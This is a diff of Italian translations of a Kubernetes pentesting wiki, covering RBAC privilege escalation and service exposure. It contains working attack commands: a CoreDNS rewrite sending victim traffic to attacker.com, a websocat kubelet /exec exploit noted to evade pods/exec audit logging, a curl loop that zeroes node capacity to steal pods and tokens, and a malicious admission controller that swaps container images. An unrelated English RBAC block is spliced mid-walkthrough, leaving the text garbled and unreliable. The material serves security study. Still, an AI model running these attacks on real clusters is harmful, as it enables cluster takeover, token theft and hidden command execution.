malevoli**. -I verbi necessari sono **`update`** e **`patch`** sul **`coredns`** configmap (o su tutte le config map). +I verbi necessari sono **`update`** e **`patch`** sulla **`coredns`** configmap (o su tutte le config maps). Un normale **coredns file** contiene qualcosa del genere: ```yaml @@ -579,61 +582,61 @@ reload loadbalance } ``` -Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` così ogni volta che viene consultato `victim.com` in realtà sarà il dominio `attacker.com` ad essere raggiunto. Poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`. +Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` così ogni volta che viene accesso `victim.com` in realtà il dominio che verrà accesso è `attacker.com`. E poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`. -Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportare le modifiche. +Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportando le modifiche. -### Escalation in GKE +### Escalating in GKE -Esistono **2 modi per assegnare permessi K8s ai principals GCP**. In ogni caso il principal ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il collegamento successivo). +Ci sono **2 modi per assegnare permessi K8s a GCP principals**. In ogni caso il principal ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere credenziali per accedere al cluster, altrimenti dovrai **generare il tuo file di configurazione kubectl** (segui il prossimo link). > [!WARNING] -> Quando si parla con l'endpoint API K8s, il **GCP auth token verrà inviato**. Poi, GCP, tramite l'endpoint API K8s, controllerà prima **se il principal** (tramite email) **ha accesso all'interno del cluster**, poi verificherà se ha **accesso tramite GCP IAM**.\ -> Se **uno** di questi è **vero**, l'accesso verrà **concesso**. Se **no**, verrà restituito un **errore** che suggerisce di assegnare **permessi tramite GCP IAM**. +> Quando si comunica con l'endpoint api di K8s, il **GCP auth token verrà inviato**. Quindi, GCP, tramite l'endpoint api di K8s, prima **controllerà se il principal** (tramite email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\ +> Se **una qualsiasi** di queste è **vera**, riceverà una **risposta**. Se **non** è vero, verrà restituito un **errore** che suggerisce di dare **permessi tramite GCP IAM**. -Il primo metodo è usare **GCP IAM**: i permessi K8s hanno i loro **equivalenti permessi GCP IAM**, e se il principal li possiede potrà usarli. +Quindi, il primo metodo usa **GCP IAM**, i permessi K8s hanno i loro **permessi GCP IAM equivalenti**, e se il principal li ha, sarà in grado di usarli. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (incluse le service account GCP). +Il secondo metodo è **assegnare permessi K8s all'interno del cluster** all'utente identificato dalla sua **email** (inclusi i GCP service accounts). -### Creare token per serviceaccounts +### Create serviceaccounts token -I principal che possono **create TokenRequests** (`serviceaccounts/token`) quando parlano con l'endpoint API K8s SAs (info da [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +I principals che possono **creare TokenRequests** (`serviceaccounts/token`) quando comunicano con l'endpoint api di K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -I principal che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **fare breakout** verso il nodo aggiungendo un ephemeral container con un securityContext privilegiato. +I principals che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **code execution su altri pod**, e potenzialmente **uscire** sul loro node aggiungendo un ephemeral container con un privileged securityContext -### ValidatingWebhookConfigurations o MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -I principal con uno qualsiasi dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di tali webhookconfigurations** al fine di **escalare privilegi**. +I principals con uno qualsiasi dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare uno di tali webhookconfigurations** per poter **escalate privileges**. -For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). +Per un esempio di [`mutatingwebhookconfigurations` guarda questa sezione di questo post](#malicious-admission-controller). -### Escalare +### Escalate -Come puoi leggere nella sezione seguente: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principal non può né aggiornare né creare roles o clusterroles senza possedere già quei permessi. Tranne se ha il **verbo `escalate` o `*`** su **`roles`** o **`clusterroles`** e le opzioni di binding rispettive.\ -Allora può aggiornare/creare nuovi roles, clusterroles con permessi migliori di quelli che possiede. +Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principal non può aggiornare né creare roles o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verb `escalate` o `*`** su **`roles`** o **`clusterroles`** e le rispettive opzioni di binding.\ +Allora può aggiornare/creare nuovi roles, clusterroles con permessi migliori rispetto a quelli che ha. ### Nodes proxy -I principal con accesso alla subresource **`nodes/proxy`** possono **eseguire codice su pod** tramite la Kubelet API (secondo [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione della Kubelet in questa pagina: +I principals con accesso al subresource **`nodes/proxy`** possono **eseguire codice su pod** tramite la Kubelet API (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -#### nodes/proxy GET -> Kubelet /exec via WebSocket confusione dei verbi +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -- Kubelet mappa i metodi HTTP ai verbi RBAC **prima** dell'upgrade del protocollo. Le handshake WebSocket devono iniziare con **HTTP GET** (`Connection: Upgrade`), quindi `/exec` su WebSocket viene controllato come **verbo `get`** invece dell'atteso `create`. -- `/exec`, `/run`, `/attach`, e `/portforward` non sono mappati esplicitamente e ricadono nella subresource di default **`proxy`**, quindi la domanda di autorizzazione diventa **`can get nodes/proxy?`** -- Se un token ha solo **`nodes/proxy` + `get`**, l'accesso diretto via WebSocket alla kubelet su `https://:10250` permette l'esecuzione arbitraria di comandi in qualsiasi pod su quel nodo. La stessa richiesta tramite il path proxy dell'API server (`/api/v1/nodes//proxy/exec/...`) viene negata perché è una normale HTTP POST e viene mappata a `create`. -- La kubelet non esegue una seconda autorizzazione dopo l'upgrade a WebSocket; viene valutato solo il GET iniziale. +- Kubelet mappa i metodi HTTP ai verbi RBAC **prima** dell'upgrade del protocollo. Gli handshake WebSocket devono iniziare con **HTTP GET** (`Connection: Upgrade`), quindi `/exec` via WebSocket viene controllato come **verb `get`** invece del `create` previsto. +- `/exec`, `/run`, `/attach`, e `/portforward` non sono mappati esplicitamente e ricadono nel subresource predefinito **`proxy`**, quindi la domanda di autorizzazione diventa **`can get nodes/proxy?`** +- Se un token ha solo **`nodes/proxy` + `get`**, l'accesso WebSocket diretto al kubelet su `https://:10250` consente l'esecuzione arbitraria di comandi in qualsiasi pod su quel node. La stessa richiesta tramite il path proxy dell'API server (`/api/v1/nodes//proxy/exec/...`) viene negata perché è un normale HTTP POST e viene mappata a `create`. +- Il kubelet non esegue una seconda autorizzazione dopo l'upgrade WebSocket; viene valutato solo l'HTTP GET iniziale. -**Exploit diretto (richiede raggiungibilità di rete verso la kubelet e un token con `nodes/proxy` GET):** +**Exploit diretto (richiede raggiungibilità di rete verso il kubelet e un token con `nodes/proxy` GET):** ```bash kubectl auth can-i --list | grep "nodes/proxy" websocat --insecure \ @@ -641,13 +644,13 @@ websocat --insecure \ --protocol "v4.channel.k8s.io" \ "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" ``` -- Usa l'**IP del nodo**, non il nome del nodo. La stessa richiesta con `curl -X POST` sarà **Vietata** perché mappa a `create`. -- L'accesso diretto al kubelet aggira l'API server, quindi AuditPolicy mostra solo i `subjectaccessreviews` dall'user agent del kubelet e **non registra i comandi `pods/exec`**. -- Enumera gli account di servizio interessati con il [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) per trovare token limitati a `nodes/proxy` GET. +- Use the **Node IP**, not the node name. The same request with `curl -X POST` will be **Forbidden** because it maps to `create`. +- Direct kubelet access bypasses the API server, so AuditPolicy only shows `subjectaccessreviews` from the kubelet user agent and **does not log `pods/exec`** commands. +- Enumerate affected service accounts with the [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) to find tokens limited to `nodes/proxy` GET. -### Eliminare i pod + nodi non schedulabili +### Delete pods + unschedulable nodes -Soggetti che possono **eliminare i pod** (`delete` verb over `pods` resource), o **espellere i pod** (`create` verb over `pods/eviction` resource), o **modificare lo stato del pod** (accesso a `pods/status`) e che possono **rendere altri nodi non schedulabili** (accesso a `nodes/status`) o **eliminare i nodi** (`delete` verb over `nodes` resource) e che hanno il controllo su un pod, potrebbero **rubare i pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. +Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -658,43 +661,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Stato dei Servizi (CVE-2020-8554) +### Services status (CVE-2020-8554) -Soggetti che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare la **CVE-2020-8554 non risolta** e lanciare **attacchi MiTM contro il clus**ter. La maggior parte delle mitigazioni per CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +I principal che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare la **CVE-2020-8554 non corretta** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Stato di Nodes e Pods +### Nodes and Pods status -I soggetti con permessi **`update`** o **`patch`** su `nodes/status` o `pods/status` possono modificare le etichette per influenzare i vincoli di scheduling applicati. +I principal con permessi **`update`** o **`patch`** su `nodes/status` o `pods/status`, potrebbero modificare le label per influenzare i vincoli di scheduling applicati. -## Prevenzione integrata dell'escalation dei privilegi +## Prevenzione integrata dell'escalation di privilegi -Kubernetes dispone di un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi. +Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation di privilegi. -Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando role o role binding**. L'applicazione di questa regola avviene a livello API, fornendo una salvaguardia anche quando l'autorizzatore RBAC è inattivo. +Questo sistema garantisce che gli **utenti non possano elevare i propri privilegi modificando roles o role bindings**. L'applicazione di questa regola avviene a livello API, offrendo una protezione anche quando l'autorizzatore RBAC è inattivo. -La regola stabilisce che un **utente può creare o aggiornare un role solo se possiede tutti i permessi che il role comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve corrispondere a quello del role che sta tentando di creare o modificare: oppure a livello cluster per i ClusterRoles, oppure limitato allo stesso namespace (o a livello cluster) per i Roles. +La regola stabilisce che un **utente può creare o aggiornare un role solo se possiede tutte le permissions che il role comprende**. Inoltre, l'ambito dei privilegi già esistenti dell'utente deve coincidere con quello del role che sta tentando di creare o modificare: a livello cluster per ClusterRoles, oppure limitato allo stesso namespace (o a livello cluster) per Roles. > [!WARNING] -> C'è un'eccezione alla regola precedente. Se un principal ha il **verb `escalate`** su **`roles`** o **`clusterroles`** può aumentare i privilegi di role e clusterrole anche senza possedere quei permessi lui stesso. +> C'è un'eccezione alla regola precedente. Se un principal ha il **verb `escalate`** su **`roles`** o **`clusterroles`** può aumentare i privilegi di roles e clusterroles anche senza avere lui stesso le permissions necessarie. ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per la stessa ragione spiegata nella sezione precedente. Non puoi creare/modificare un rolebinding per assegnare a te stesso o a un'altra SA dei privilegi se non li possiedi già.** +> **A quanto pare questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per assegnare a te stesso o a un SA diverso alcuni privilegi se non li hai già.** -Il privilegio di creare Rolebindings permette a un utente di **associare ruoli a un service account**. Questo privilegio può portare a un'escalation dei privilegi perché **consente all'utente di assegnare privilegi di admin a un service account compromesso.** +Il privilegio di creare Rolebindings permette a un utente di **collegare roles a un service account**. Questo privilegio può potenzialmente portare a escalation di privilegi perché **consente all'utente di assegnare privilegi admin a un service account compromesso.** -## Altri attacchi +## Other Attacks ### Sidecar proxy app -Per impostazione predefinita non c'è alcuna cifratura nella comunicazione tra i pod. Autenticazione mutua, bidirezionale, pod-to-pod. +Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra pod. Autenticazione mutuale, bidirezionale, pod to pod. -#### Creare un'app sidecar proxy +#### Create a sidecar proxy app -Un container sidecar consiste semplicemente nell'aggiungere un **secondo (o più) container all'interno di un pod**. +Un sidecar container consiste semplicemente nell'aggiungere un **secondo (o più) container dentro un pod**. -Ad esempio, quanto segue è parte della configurazione di un pod con 2 container: +Per esempio, quanto segue è parte della configurazione di un pod con 2 container: ```yaml spec: containers: @@ -704,15 +707,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Per esempio, per backdoorare un pod esistente con un nuovo container puoi semplicemente aggiungere un nuovo container nella specifica. Nota che potresti **assegnare più permessi** al secondo container che il primo non avrà. +Ad esempio, per backdoorare un pod esistente con un nuovo container potresti semplicemente aggiungere un nuovo container nella specifica. Nota che potresti **dare più permessi** al secondo container che il primo non avrà. -Ulteriori info su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Maggiori info su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Admission Controller maligno +### Malicious Admission Controller -Un admission controller **intercetta le richieste al Kubernetes API server** prima della persistenza dell'oggetto, ma **dopo che la richiesta è autenticata** **e autorizzata**. +Un admission controller **intercetta le richieste al Kubernetes API server** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**. -Se un attaccante in qualche modo riesce a **inject a Mutation Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Questo può potenzialmente consentire di privesc e, più frequentemente, di persistere nel cluster. +Se un attacker riesce in qualche modo a **iniettare un Mutation Admission Controller**, potrà **modificare richieste già autenticate**. Potendo potenzialmente fare privesc, e più spesso persistere nel cluster. **Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -721,30 +724,89 @@ cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -Controlla lo stato per vedere se è pronto: +```markdown +## Roles and ClusterRoles + +In Kubernetes, privileges are managed through `Roles` and `ClusterRoles`: + +- `Roles`: Define permissions within a specific namespace. They grant access to resources inside that namespace. +- `ClusterRoles`: Define permissions at the cluster level. They grant access to resources across the entire cluster and can be assigned to users, groups, or service accounts. + +A `Role` or `ClusterRole` is just a collection of permissions. To actually grant these permissions to a subject, you need a `RoleBinding` or `ClusterRoleBinding`. + +### Role vs ClusterRole + +The main difference is the scope of the permissions: + +- `Role`: Namespace-scoped. It only applies to one namespace. +- `ClusterRole`: Cluster-scoped. It can apply to all namespaces or to cluster-wide resources. + +### Abuse of Roles and ClusterRoles + +If you can create, edit, or bind `Roles` or `ClusterRoles`, you may be able to escalate privileges inside the cluster. Common abuse scenarios include: + +- Creating a `Role` with overly broad permissions and binding it to your own `ServiceAccount`. +- Modifying an existing `Role` or `ClusterRole` to add extra permissions. +- Creating a `ClusterRoleBinding` to assign cluster-admin-like access. + +### Enumeration + +You can enumerate `Roles`, `ClusterRoles`, `RoleBindings`, and `ClusterRoleBindings` with: + +```bash +kubectl get roles -A +kubectl get clusterroles +kubectl get rolebindings -A +kubectl get clusterrolebindings +``` + +### Useful checks + +Look for permissions that allow you to: + +- create or modify `roles`, `clusterroles`, `rolebindings`, or `clusterrolebindings` +- access secrets +- create pods +- use `pods/exec` +- impersonate users or service accounts +- patch workloads that run with elevated privileges + +If you find a misconfiguration, you may be able to move laterally or escalate privileges by creating or binding a more privileged role. + +### Example + +If a `ServiceAccount` has permission to create `RoleBindings` in a namespace, it can bind itself to a more privileged `Role` in that namespace and gain additional access. + +### Mitigation + +- Follow least privilege. +- Regularly review `Roles` and `ClusterRoles`. +- Restrict who can create or modify bindings. +- Audit RBAC permissions frequently. +``` ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Quindi distribuisci un nuovo pod: +Poi distribuisci un nuovo pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Quando vedi l'errore `ErrImagePull`, verifica il nome dell'immagine con una delle query: +Quando puoi vedere l'errore `ErrImagePull`, controlla il nome dell'immagine con una delle query seguenti: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx` ma l'immagine effettivamente eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!? +Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine effettivamente eseguita alla fine è `rewanthtammana/malicious-image`. Cosa è appena successo!!? -#### Dettagli tecnici +#### Technicalities -Lo script `./deploy.sh` crea un mutating webhook admission controller, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando gli esiti osservati: +Lo script `./deploy.sh` stabilisce un mutating webhook admission controller, che modifica le richieste alla Kubernetes API come specificato nelle sue linee di configurazione, influenzando i risultati osservati: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -752,7 +814,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Lo snippet sopra sostituisce la prima immagine del container in ogni pod con `rewanthtammana/malicious-image`. +Il frammento sopra sostituisce la prima immagine del container in ogni pod con `rewanthtammana/malicious-image`. ## OPA Gatekeeper bypass @@ -760,22 +822,22 @@ Lo snippet sopra sostituisce la prima immagine del container in ogni pod con `re ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Buone pratiche +## Best Practices -### **Disabilitare l'automount dei token di Service Account** +### **Disabilitare l'automount dei Service Account Tokens** -- **Pods and Service Accounts**: Per impostazione predefinita, i pods montano un token di service account. Per aumentare la sicurezza, Kubernetes permette di disabilitare questa funzionalità di automount. -- **Come applicare**: Impostare `automountServiceAccountToken: false` nella configurazione dei service account o dei pod a partire da Kubernetes versione 1.6. +- **Pods e Service Accounts**: Per impostazione predefinita, i pods montano un service account token. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount. +- **Come applicarlo**: Imposta `automountServiceAccountToken: false` nella configurazione dei service accounts o dei pods a partire dalla versione 1.6 di Kubernetes. ### **Assegnazione restrittiva degli utenti in RoleBindings/ClusterRoleBindings** -- **Selective Inclusion**: Assicurarsi che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Effettuare audit regolari e rimuovere utenti non pertinenti per mantenere la sicurezza. +- **Inclusione selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui regolarmente audit e rimuovi gli utenti non rilevanti per mantenere una sicurezza rigorosa. -### **Ruoli specifici per namespace invece dei permessi a livello di cluster** +### **Ruoli specifici per namespace invece di ruoli a livello cluster** -- **Roles vs. ClusterRoles**: Preferire l'uso di Roles e RoleBindings per i permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più granulare e limita l'ambito dei permessi. +- **Roles vs. ClusterRoles**: Preferisci usare Roles e RoleBindings per permessi specifici di un namespace invece di ClusterRoles e ClusterRoleBindings, che si applicano a livello cluster. Questo approccio offre un controllo più granulare e limita l'ambito dei permessi. -### **Usare strumenti automatizzati** +### **Usa strumenti automatizzati** {{#ref}} https://github.com/cyberark/KubiScan @@ -789,7 +851,7 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **Riferimenti** +## **References** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 4b6ad79c0..5c850c024 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -1,12 +1,12 @@ -# Esposizione dei Servizi in Kubernetes +# Esporre Services in Kubernetes {{#include ../../banners/hacktricks-training.md}} -Ci sono **diversi modi per esporre i servizi** in Kubernetes in modo che sia gli **endpoint interni** che gli **endpoint esterni** possano accedervi. Questa configurazione di Kubernetes è piuttosto critica poiché l'amministratore potrebbe dare accesso a **attaccanti a servizi a cui non dovrebbero poter accedere**. +Ci sono **diversi modi per esporre i services** in Kubernetes così che sia gli endpoint **internal** sia quelli **external** possano accedervi. Questa configurazione Kubernetes è piuttosto critica perché l'administrator potrebbe dare accesso a **attackers a services a cui non dovrebbero poter accedere**. ### Enumerazione Automatica -Prima di iniziare a enumerare i modi in cui K8s offre di esporre i servizi al pubblico, sappi che se puoi elencare namespace, servizi e ingressi, puoi trovare tutto ciò che è esposto al pubblico con: +Prima di iniziare a enumerare i modi che K8s offre per esporre i services al pubblico, sappi che se puoi elencare namespaces, services e ingresses, puoi trovare tutto ciò che è esposto al pubblico con: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,17 +20,17 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -Un **servizio ClusterIP** è il **servizio** predefinito di Kubernetes. Ti offre un **servizio interno** al tuo cluster a cui altre app all'interno del tuo cluster possono accedere. Non c'è **accesso esterno**. +Un servizio **ClusterIP** è il **service** Kubernetes **predefinito**. Ti offre un **service interno** al tuo cluster che altre app all'interno del cluster possono raggiungere. **Non** c'è **accesso esterno**. -Tuttavia, questo può essere accessibile utilizzando il Kubernetes Proxy: +Tuttavia, questo può essere accessibile usando il Kubernetes Proxy: ```bash kubectl proxy --port=8080 ``` -Ora puoi navigare attraverso l'API di Kubernetes per accedere ai servizi utilizzando questo schema: +Ora puoi navigare attraverso la Kubernetes API per accedere ai servizi usando questo schema: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` -Ad esempio, potresti utilizzare il seguente URL: +Per esempio, potresti usare il seguente URL: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` @@ -50,17 +50,17 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Questo metodo richiede di eseguire `kubectl` come **utente autenticato**._ +_Questo metodo richiede di eseguire `kubectl` come **authenticated user**._ -Elenca tutti i ClusterIP: +Elenca tutti i ClusterIPs: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -Quando **NodePort** viene utilizzato, una porta designata è resa disponibile su tutti i nodi (che rappresentano le macchine virtuali). **Il traffico** diretto a questa porta specifica viene quindi sistematicamente **instradato al servizio**. Tipicamente, questo metodo non è raccomandato a causa dei suoi svantaggi. +Quando viene utilizzato **NodePort**, una porta designata viene resa disponibile su tutti i Nodes (che rappresentano le Virtual Machines). Il **traffico** diretto a questa porta specifica viene quindi sistematicamente **instradato verso il service**. In genere, questo metodo non è raccomandato a causa dei suoi svantaggi. -Elenca tutti i NodePort: +Elenca tutti i NodePorts: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` @@ -81,28 +81,30 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -Se **non specifichi** il **nodePort** nel yaml (è la porta che sarà aperta) verrà utilizzata una porta nel **range 30000–32767**. +Se **non specifichi** il **nodePort** nel yaml (è la porta che verrà aperta), verrà usata una porta nell'**intervallo 30000–32767**. -### LoadBalancer +### LoadBalancer -Espone il Servizio esternamente **utilizzando il bilanciatore di carico di un provider cloud**. Su GKE, questo avvierà un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) che ti fornirà un singolo indirizzo IP che inoltrerà tutto il traffico al tuo servizio. In AWS lancerà un Load Balancer. +Espone il Service esternamente **usando il load balancer di un cloud provider**. Su GKE, questo avvierà un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) che ti fornirà un singolo indirizzo IP che inoltrerà tutto il traffico al tuo service. Su AWS avvierà un Load Balancer. -Devi pagare per un LoadBalancer per ogni servizio esposto, il che può essere costoso. +Devi pagare un LoadBalancer per ogni servizio esposto, e questo può essere costoso. Elenca tutti i LoadBalancers: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` -### External IPs +### External IPs > [!TIP] -> Gli IP esterni sono esposti dai servizi di tipo Load Balancers e sono generalmente utilizzati quando si utilizza un Load Balancer di un Cloud Provider esterno. +> Gli External IPs sono esposti dai servizi di tipo Load Balancers e vengono generalmente usati quando viene utilizzato un external Cloud Provider Load Balancer. > -> Per trovarli, controlla i load balancer con valori nel campo `EXTERNAL-IP`. +> Per individuarli, controlla i load balancers con valori nel campo `EXTERNAL-IP`. -Il traffico che entra nel cluster con l'**IP esterno** (come **IP di destinazione**), sulla porta del Servizio, sarà **instradato a uno degli endpoint del Servizio**. `externalIPs` non sono gestiti da Kubernetes e sono responsabilità dell'amministratore del cluster. +Il traffico che entra nel cluster con l'**external IP** (come **destination IP**), sulla porta del Service, verrà **instradato verso uno degli endpoint del Service**. `externalIPs` non sono gestiti da Kubernetes e sono responsabilità dell'amministratore del cluster. -Nella specifica del Servizio, `externalIPs` possono essere specificati insieme a qualsiasi tipo di `ServiceTypes`. Nell'esempio seguente, "`my-service`" può essere accessibile dai client su "`80.11.12.10:80`" (`externalIP:port`) +`externalIPs` è un campo sensibile per il route-control perché un utente che può impostarlo potrebbe rivendicare traffico per un indirizzo IP che il proprietario del Service non dovrebbe controllare se la rete circostante instrada quell'IP verso il cluster. Kubernetes ha annunciato la deprecazione e la rimozione pianificata di Service `externalIPs` in v1.36, quindi preferisci meccanismi di exposure gestiti dal controller come le integrazioni LoadBalancer o Gateway API dove possibile, e limita/autorizza questo campo con attenzione finché esiste. + +Nella spec del Service, `externalIPs` può essere specificato insieme a qualsiasi `ServiceTypes`. Nell'esempio qui sotto, "`my-service`" può essere accessibile dai client su "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -121,9 +123,9 @@ externalIPs: ``` ### ExternalName -[**Dalla documentazione:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) I servizi di tipo ExternalName **mappano un servizio a un nome DNS**, non a un selettore tipico come `my-service` 